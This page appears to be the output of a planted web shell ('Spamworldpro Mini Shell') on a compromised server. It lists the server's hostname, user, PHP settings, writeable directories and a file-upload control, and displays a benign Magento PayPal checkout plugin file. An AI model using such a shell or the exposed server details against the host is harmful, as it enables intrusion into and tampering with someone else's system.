Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/Ecombricks/InventoryPaypal/Plugin/Model/Express/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/Ecombricks/InventoryPaypal/Plugin/Model/Express/Checkout.php
<?php
/**
 * Copyright © eComBricks. All rights reserved.
 * See COPYING.txt for license details.
 */
namespace Ecombricks\InventoryPaypal\Plugin\Model\Express;

/**
 * Paypal express checkout model plugin
 */
class Checkout
{
    
    /**
     * Quote config
     * 
     * @var \Ecombricks\InventoryQuote\Model\Config
     */
    protected $quoteConfig;
    
    /**
     * Constructor
     * 
     * @param \Ecombricks\InventoryQuote\Model\Config $quoteConfig
     * @retun void
     */
    public function __construct(
        \Ecombricks\InventoryQuote\Model\Config $quoteConfig
    )
    {
        $this->quoteConfig = $quoteConfig;
    }
    
    /**
     * Around place
     *
     * @param \Magento\Paypal\Model\Express\Checkout $subject
     * @param callable $proceed
     * @param string $token
     * @param string|null $shippingMethodCode
     * @return void
     */
    public function aroundPlace(
        \Magento\Paypal\Model\Express\Checkout $subject,
        \Closure $proceed,
        $token,
        $shippingMethodCode = null
    )
    {
        if (!$this->quoteConfig->isSplitOrder()) {
            return $proceed($token, $shippingMethodCode);
        }
        return $subject->inventoryPlace($token, $shippingMethodCode);
    }
    
}

Spamworldpro Mini